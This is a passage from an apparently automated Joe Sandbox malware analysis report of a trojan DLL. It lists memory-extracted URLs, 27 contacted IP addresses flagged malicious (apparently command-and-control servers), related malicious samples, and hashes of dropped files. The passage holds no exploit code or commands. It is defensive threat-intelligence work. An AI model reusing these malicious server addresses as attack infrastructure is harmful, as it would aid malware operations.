https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 0000000D.00000003.310880307.0000027C67A67000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312284199.0000027C67A69000.00000004.00000001.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000D.00000002.312260288.0000027C67A4B000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311559423.0000027C67A45000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	false		high
http://crl.ver)	svchost.exe, 00000018.00000002.411666750.000001E6A52E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312269483.0000027C67A5C000.00000004.00000001.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000018.00000003.389559591.000001E6A597C000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.389828999.000001E6A599E000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.389643100.000001E6A59D6000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.389608441.000001E6A59D6000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://activity.windows.comr	svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312216539.0000027C67A13000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000D.00000003.311625138.0000027C67A41000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312254295.0000027C67A42000.00000004.00000001.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000D.00000002.312260288.0000027C67A4B000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000D.00000003.287688148.0000027C67A31000.00000004.00000001.sdmp	false		high
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000D.00000003.287688148.0000027C67A31000.00000004.00000001.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000D.00000003.287688148.0000027C67A31000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000D.00000002.312269483.0000027C67A5C000.00000004.00000001.sdmp	false		high
https://www.disneyplus.com/legal/privacy-policy	svchost.exe, 00000018.00000003.388724008.000001E6A595D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388810562.000001E6A5E02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388740953.000001E6A5979000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000D.00000003.311625138.0000027C67A41000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.311420754.0000027C67A40000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.312254295.0000027C67A42000.00000004.00000001.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	false		high
https://disneyplus.com/legal.	svchost.exe, 00000018.00000003.388724008.000001E6A595D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388810562.000001E6A5E02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388740953.000001E6A5979000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000D.00000003.311709544.0000027C67A3A000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000003.287688148.0000027C67A31000.00000004.00000001.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000D.00000002.312269483.0000027C67A5C000.00000004.00000001.sdmp	false		high
https://activity.windows.com	svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000D.00000002.312216539.0000027C67A13000.00000004.00000001.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000D.00000003.311061989.0000027C67A60000.00000004.00000001.sdmp	false		high
http://help.disneyplus.com.	svchost.exe, 00000018.00000003.388724008.000001E6A595D000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388810562.000001E6A5E02000.00000004.00000001.sdmp, svchost.exe, 00000018.00000003.388740953.000001E6A5979000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000D.00000002.312248027.0000027C67A3D000.00000004.00000001.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 00000003.00000002.808986189.0000026843644000.00000004.00000001.sdmp	false	URL Reputation: safe	low
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000D.00000003.311173852.0000027C67A49000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
207.148.81.119	unknown	United States	20473	AS-CHOOPAUS	true
104.131.62.48	unknown	United States	14061	DIGITALOCEAN-ASNUS	true
85.214.67.203	unknown	Germany	6724	STRATOSTRATOAGDE	true
191.252.103.16	unknown	Brazil	27715	LocawebServicosdeInternetSABR	true
168.197.250.14	unknown	Argentina	264776	OmarAnselmoRipollTDCNETAR	true
66.42.57.149	unknown	United States	20473	AS-CHOOPAUS	true
185.148.168.15	unknown	Germany	44780	EVERSCALE-ASDE	true
51.210.242.234	unknown	France	16276	OVHFR	true
217.182.143.207	unknown	France	16276	OVHFR	true
69.16.218.101	unknown	United States	32244	LIQUIDWEBUS	true
159.69.237.188	unknown	Germany	24940	HETZNER-ASDE	true
45.138.98.34	unknown	Germany	9009	M247GB	true
116.124.128.206	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
78.46.73.125	unknown	Germany	24940	HETZNER-ASDE	true
37.59.209.141	unknown	France	16276	OVHFR	true
210.57.209.142	unknown	Indonesia	38142	UNAIR-AS-IDUniversitasAirlanggaID	true
185.148.168.220	unknown	Germany	44780	EVERSCALE-ASDE	true
54.37.228.122	unknown	France	16276	OVHFR	true
190.90.233.66	unknown	Colombia	18678	INTERNEXASAESPCO	true
142.4.219.173	unknown	Canada	16276	OVHFR	true
54.38.242.185	unknown	France	16276	OVHFR	true
195.154.146.35	unknown	France	12876	OnlineSASFR	true
195.77.239.39	unknown	Spain	60493	FICOSA-ASES	true
78.47.204.80	unknown	Germany	24940	HETZNER-ASDE	true
37.44.244.177	unknown	Germany	47583	AS-HOSTINGERLT	true
62.171.178.147	unknown	United Kingdom	51167	CONTABODE	true
128.199.192.135	unknown	United Kingdom	14061	DIGITALOCEAN-ASNUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553143
Start date:	14.01.2022
Start time:	11:32:14
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 13m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	5o8zdV3GU3 (renamed file extension from none to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	35
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@31/10@0/27
EGA Information:	Successful, ratio: 80%
HDC Information:	Successful, ratio: 33.6% (good quality ratio 32.3%) Quality average: 78.2% Quality standard deviation: 26.8%
HCA Information:	Successful, ratio: 100% Number of executed functions: 41 Number of non-executed functions: 269
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32
Warnings:	Show All Exclude process from analysis (whitelisted): audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 95.140.236.128, 173.222.108.210, 173.222.108.226, 20.54.110.249, 40.91.112.76 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, wu-shim.trafficmanager.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, ctldl.windowsupdate.com, a767.dspw65.akamai.net, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, download.windowsupdate.com.edgesuite.net, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Execution Graph export aborted for target rundll32.exe, PID 6076 because there are no executed function Not all processes where analyzed, report is missing behavior information Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:33:57	API Interceptor	7x Sleep call for process: svchost.exe modified
11:34:14	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
207.148.81.119	xxWrY2YG7s.dll	Get hash	malicious	Browse
	7MhGa3iotM.dll	Get hash	malicious	Browse
	vHwdqVl8yP.dll	Get hash	malicious	Browse
	M2hsMd9hTq.dll	Get hash	malicious	Browse
	wg1bXKYOOs.dll	Get hash	malicious	Browse
	8ozP45Xn3V.dll	Get hash	malicious	Browse
	pugKLanrj3.dll	Get hash	malicious	Browse
	CSxylfUJcL.dll	Get hash	malicious	Browse
	nCiZXrlB39.dll	Get hash	malicious	Browse
	bEK6Xc41qp.dll	Get hash	malicious	Browse
	vHwdqVl8yP.dll	Get hash	malicious	Browse
	wg1bXKYOOs.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.37.xlsm	Get hash	malicious	Browse
	qJQ5zHpsbm.dll	Get hash	malicious	Browse
	EtUNsUHRzq.dll	Get hash	malicious	Browse
	PyqpE3VUI3.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.31437.xlsm	Get hash	malicious	Browse
	P6h9ZprN2X.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse
	P6h9ZprN2X.dll	Get hash	malicious	Browse
104.131.62.48	xxWrY2YG7s.dll	Get hash	malicious	Browse
	7MhGa3iotM.dll	Get hash	malicious	Browse
	vHwdqVl8yP.dll	Get hash	malicious	Browse
	M2hsMd9hTq.dll	Get hash	malicious	Browse
	wg1bXKYOOs.dll	Get hash	malicious	Browse
	8ozP45Xn3V.dll	Get hash	malicious	Browse
	pugKLanrj3.dll	Get hash	malicious	Browse
	CSxylfUJcL.dll	Get hash	malicious	Browse
	nCiZXrlB39.dll	Get hash	malicious	Browse
	bEK6Xc41qp.dll	Get hash	malicious	Browse
	vHwdqVl8yP.dll	Get hash	malicious	Browse
	wg1bXKYOOs.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.37.xlsm	Get hash	malicious	Browse
	qJQ5zHpsbm.dll	Get hash	malicious	Browse
	EtUNsUHRzq.dll	Get hash	malicious	Browse
	PyqpE3VUI3.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.31437.xlsm	Get hash	malicious	Browse
	P6h9ZprN2X.dll	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse
	P6h9ZprN2X.dll	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
windowsupdate.s.llnwi.net	7MhGa3iotM.dll	Get hash	malicious	Browse	41.63.96.128
	wg1bXKYOOs.dll	Get hash	malicious	Browse	178.79.242.0
	pugKLanrj3.dll	Get hash	malicious	Browse	41.63.96.128
	CSxylfUJcL.dll	Get hash	malicious	Browse	41.63.96.128
	nCiZXrlB39.dll	Get hash	malicious	Browse	95.140.236.0
	bEK6Xc41qp.dll	Get hash	malicious	Browse	41.63.96.128
	vHwdqVl8yP.dll	Get hash	malicious	Browse	95.140.236.0
	wg1bXKYOOs.dll	Get hash	malicious	Browse	41.63.96.128
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse	178.79.242.0
	SecuriteInfo.com.Trojan.Agent.FRJZ.4911.xlsm	Get hash	malicious	Browse	95.140.236.128
	SecuriteInfo.com.Trojan.Agent.FRJZ.9674.xlsm	Get hash	malicious	Browse	95.140.236.128
	SecuriteInfo.com.Trojan.Agent.FRJZ.20696.xlsm	Get hash	malicious	Browse	178.79.242.0
	qyqbwh33325851.xlsm	Get hash	malicious	Browse	95.140.230.192
	Vogxx6aXgA.dll	Get hash	malicious	Browse	95.140.236.0
	K337Ax5xIs.dll	Get hash	malicious	Browse	41.63.96.128
	RmgO44zN8B.xlsx	Get hash	malicious	Browse	41.63.96.0
	o7GqaY5L5D.xlsx	Get hash	malicious	Browse	95.140.230.192
	NewPurchaseOrder.exe	Get hash	malicious	Browse	95.140.236.0
	MSC INVOICE.xlsx	Get hash	malicious	Browse	178.79.225.128
	49HhrNxVP4.dll	Get hash	malicious	Browse	95.140.236.128

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-CHOOPAUS	xxWrY2YG7s.dll	Get hash	malicious	Browse	66.42.57.149
	7MhGa3iotM.dll	Get hash	malicious	Browse	66.42.57.149
	vHwdqVl8yP.dll	Get hash	malicious	Browse	66.42.57.149
	M2hsMd9hTq.dll	Get hash	malicious	Browse	66.42.57.149
	wg1bXKYOOs.dll	Get hash	malicious	Browse	66.42.57.149
	8ozP45Xn3V.dll	Get hash	malicious	Browse	66.42.57.149
	pugKLanrj3.dll	Get hash	malicious	Browse	66.42.57.149
	CSxylfUJcL.dll	Get hash	malicious	Browse	66.42.57.149
	nCiZXrlB39.dll	Get hash	malicious	Browse	66.42.57.149
	bEK6Xc41qp.dll	Get hash	malicious	Browse	66.42.57.149
	vHwdqVl8yP.dll	Get hash	malicious	Browse	66.42.57.149
	wg1bXKYOOs.dll	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.37.xlsm	Get hash	malicious	Browse	66.42.57.149
	qJQ5zHpsbm.dll	Get hash	malicious	Browse	66.42.57.149
	EtUNsUHRzq.dll	Get hash	malicious	Browse	66.42.57.149
	PyqpE3VUI3.dll	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.31437.xlsm	Get hash	malicious	Browse	66.42.57.149
	P6h9ZprN2X.dll	Get hash	malicious	Browse	66.42.57.149
	SecuriteInfo.com.Trojan.Agent.FRJZ.15200.xlsm	Get hash	malicious	Browse	66.42.57.149
	P6h9ZprN2X.dll	Get hash	malicious	Browse	66.42.57.149
DIGITALOCEAN-ASNUS	xxWrY2YG7s.dll	Get hash	malicious	Browse	128.199.192.135
	7MhGa3iotM.dll	Get hash	malicious	Browse	128.199.192.135
	urMpgNNXPM.exe	Get hash	malicious	Browse	188.166.28.199
	DH-1642092507.xll	Get hash	malicious	Browse	159.89.171.14
	vHwdqVl8yP.dll	Get hash	malicious	Browse	128.199.192.135
	M2hsMd9hTq.dll	Get hash	malicious	Browse	128.199.192.135
	wg1bXKYOOs.dll	Get hash	malicious	Browse	128.199.192.135
	zmbGUZTICp.exe	Get hash	malicious	Browse	188.166.28.199
	8ozP45Xn3V.dll	Get hash	malicious	Browse	128.199.192.135
	pugKLanrj3.dll	Get hash	malicious	Browse	128.199.192.135
	CSxylfUJcL.dll	Get hash	malicious	Browse	128.199.192.135
	nCiZXrlB39.dll	Get hash	malicious	Browse	128.199.192.135
	bEK6Xc41qp.dll	Get hash	malicious	Browse	128.199.192.135
	vHwdqVl8yP.dll	Get hash	malicious	Browse	128.199.192.135
	wg1bXKYOOs.dll	Get hash	malicious	Browse	128.199.192.135
	SecuriteInfo.com.Trojan.Agent.FRJZ.37.xlsm	Get hash	malicious	Browse	128.199.192.135
	qJQ5zHpsbm.dll	Get hash	malicious	Browse	128.199.192.135
	EtUNsUHRzq.dll	Get hash	malicious	Browse	128.199.192.135
	tijXCZsbGe.exe	Get hash	malicious	Browse	188.166.28.199
	PyqpE3VUI3.dll	Get hash	malicious	Browse	128.199.192.135

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	Microsoft Cabinet archive data, 61414 bytes, 1 file
Category:	dropped
Size (bytes):	61414
Entropy (8bit):	7.995245868798237
Encrypted:	true
SSDEEP:	1536:EysgU6qmzixT64jYMZ8HbVPGfVDwm/xLZ9rP:wF6qmeo4eH1m9wmLvrP
MD5:	ACAEDA60C79C6BCAC925EEB3653F45E0
SHA1:	2AAAE490BCDACCC6172240FF1697753B37AC5578
SHA-256:	6B0CECCF0103AFD89844761417C1D23ACC41F8AEBF3B7230765209B61EEE5658
SHA-512:	FEAA6E7ED7DDA1583739B3E531AB5C562A222EE6ECD042690AE7DCFF966717C6E968469A7797265A11F6E899479AE0F3031E8CF5BEBE1492D5205E9C59690900
Malicious:	false
Preview:	MSCF............,...................I.......;w........RSNj .authroot.stl..>.(.5..CK..8T....c_.d...A.K...+.d.H..i.RJJ.IQIR..$t)Kd.-[..T\{..ne......<.w......A..B........c...wi......D....c.0D,L........fy....Rg...=........i,3.3..Z....~^ve<...TF....f.zy.,...m.@.0.0...m.3..I(..+..v#...(.2....e...L..y..V.......~U...."<ke.....l.X:Dt..R<7.5\A7L0=..T.V...IDr..8<....r&...I-.^..b.b.".Af....E.._..r.>.`;,.Hob..S.....7'..\.R$.".g..+..64..@nP.....k3...B.`.G..@D.....L.....`^...#OpW.....!....`.....rf:.}.R.@....gR.#7....l..H.#...d.Qh..3..fCX....==#..M.l..~&....[.J9.\..Ww.....Tx.%....]..a4E...q.+...#.a..x..O..V.t..Y1!.T..`U...-...< _@...\|(.....0..3.`.LU...E0.Gu.4KN....5...?.....I.p..'..........N<.d.O..dH@c1t...[w/...T....cYK.X>.0..Z.....O>..9.3.#9X.%.b...5.YK.E.V.....`./.3.._..nN]..=..M.o.F.._..z....._...gY..!Z..?l....vp.l.:.d.Z..W.....~...N.._.k...&.....$......i.F.d.....D!e.....Y..,.E..m.;.1... $.F..O.F.o_}.uG....,.%.>,.Zx.......o....c../.;....g&.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	290
Entropy (8bit):	2.968077906394976
Encrypted:	false
SSDEEP:	6:kKrA05SN+SkQlPlEGYRMY9z+4KlDA3RUe/:pHkPlE99SNxAhUe/
MD5:	4E2D8482FAB31525DB879517E4210956
SHA1:	E00CDD9A0F7F9FD3DC50F5510857EB391FC3346A
SHA-256:	94570ABBE7681CE3AEB2B569D34997CD1B35C99C7339D00035F3CB86E920F88E
SHA-512:	C780B1C98B3B4E749D610ADBF185534C572181819C076F23EE120CD84C57BE8D5C7C2F5816375E050DC6DFB969D7AD049A807A832F49A076A4C515E81812E63D
Malicious:	false
Preview:	p...... ............}...(....................................................... ........q.\].......................h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11004564230850619
Encrypted:	false
SSDEEP:	12:26+XjXm/Ey6q99959q3qQ10nMCldimE8eawHjcxXf:26+Kl68mLyMCldzE9BHjcxP
MD5:	D0C1EBD79E84FE82388BC9F7FAA9CA8D
SHA1:	A2012915159E4087A0016D27E06EC7B73547172B
SHA-256:	1A0F75CF856C251A5B9396767140280A76F556D24D75B655AA6B85ABCDA41FEF
SHA-512:	5F626CC9C2BD9263C1D1E793D2A0E7F8EDE52DC729F8BBF13D4CE0BDA3713F061EE191CF3825CB621BB0DCFD6CF438A3E4694E4A4B9172F1E2B45509D920F533
Malicious:	false
Preview:	................................................................................h.......]d.......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................."%...... .........}...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.h........s......................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11272036861319339
Encrypted:	false
SSDEEP:	12:AXjXm/Ey6q9995t61miM3qQ10nMCldimE8eawHza1miI4iXP:AKl68a1tMLyMCldzE9BHza1tIR/
MD5:	F55E1FDF1FD6A55ADDF04680DB2181B2
SHA1:	4C55AD3BFEBB580715A41563DDACBD106A1E25C1
SHA-256:	70561299BB407E61BDE3FF7FB7D71CE2CE5944D0DD1440064CE61AF3BF713194
SHA-512:	6A0C04F0419FAD213A4D43AB019BF64DAA17D28B4F02AD762E433149BAF6985BD1A4583C3CE3CAC872546A0A5000104633AE431B45221C98FA1189298CE8F233
Malicious:	false
Preview:	................................................................................h................................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................."%...... ....._...}...........U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.i.r.c.u.l.a.r...e.t.l.......P.P.h...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11273857454530721
Encrypted:	false
SSDEEP:	12:FJXjXm/Ey6q9995bf1mK2P3qQ10nMCldimE8eawHza1mKSiXP:FJKl68h1iPLyMCldzE9BHza12i/
MD5:	90DE189AB507C6F07379D8A60A2C67CA
SHA1:	B056F736B2D0DACD76193D6213CD149DA65C634D
SHA-256:	8889615CBB2FA34222B2187B422DBFE6D1F4F9D68320CD6859D62444F293355B
SHA-512:	584748E66C1098573C7804E305DA3A5666CE2C42379E9C037CB986301799BD054B1646EE5DD2CC10A42FFEF80F0BFA4892060FFF2355A7ADFF1E949C93F89133
Malicious:	false
Preview:	................................................................................h.......}........................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................."%...... ........}...........U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.U.n.i.s.t.a.c.k.C.r.i.t.i.c.a.l...e.t.l.......P.P.h...............................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\SyncVerbose.etl.0001@@ (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11004564230850619
Encrypted:	false
SSDEEP:	12:26+XjXm/Ey6q99959q3qQ10nMCldimE8eawHjcxXf:26+Kl68mLyMCldzE9BHjcxP
MD5:	D0C1EBD79E84FE82388BC9F7FAA9CA8D
SHA1:	A2012915159E4087A0016D27E06EC7B73547172B
SHA-256:	1A0F75CF856C251A5B9396767140280A76F556D24D75B655AA6B85ABCDA41FEF
SHA-512:	5F626CC9C2BD9263C1D1E793D2A0E7F8EDE52DC729F8BBF13D4CE0BDA3713F061EE191CF3825CB621BB0DCFD6CF438A3E4694E4A4B9172F1E2B45509D920F533
Malicious:	false
Preview:	................................................................................h.......]d.......................B..............Zb..................................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................."%...... .........}...........S.y.n.c.V.e.r.b.o.s.e...C.:.\.U.s.e.r.s.\.h.a.r.d.z.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.p.a.c.k.a.g.e.s.\.A.c.t.i.v.e.S.y.n.c.\.L.o.c.a.l.S.t.a.t.e.\.D.i.a.g.O.u.t.p.u.t.D.i.r.\.S.y.n.c.V.e.r.b.o.s.e...e.t.l...........P.P.h........s......................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCircular.etl.0001 (copy) Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.11272036861319339
Encrypted:	false
SSDEEP:	12:AXjXm/Ey6q9995t61miM3qQ10nMCldimE8eawHza1miI4iXP:AKl68a1tMLyMCldzE9BHza1tIR/
MD5:	F55E1FDF1FD6A55ADDF04680DB2181B2
SHA1:	4C55AD3BFEBB580715A41563DDACBD106A1E25C1
SHA-256:	70561299BB407E61BDE3FF7FB7D71CE2CE5944D0DD1440064CE61AF3BF713194
SHA-512:	6A0C04F0419FAD213A4D43AB019BF64DAA17D28B4F02AD762E433149BAF6985BD1A4583C3CE3CAC872546A0A5000104633AE431B45221C98FA1189298CE8F233
Malicious:	false
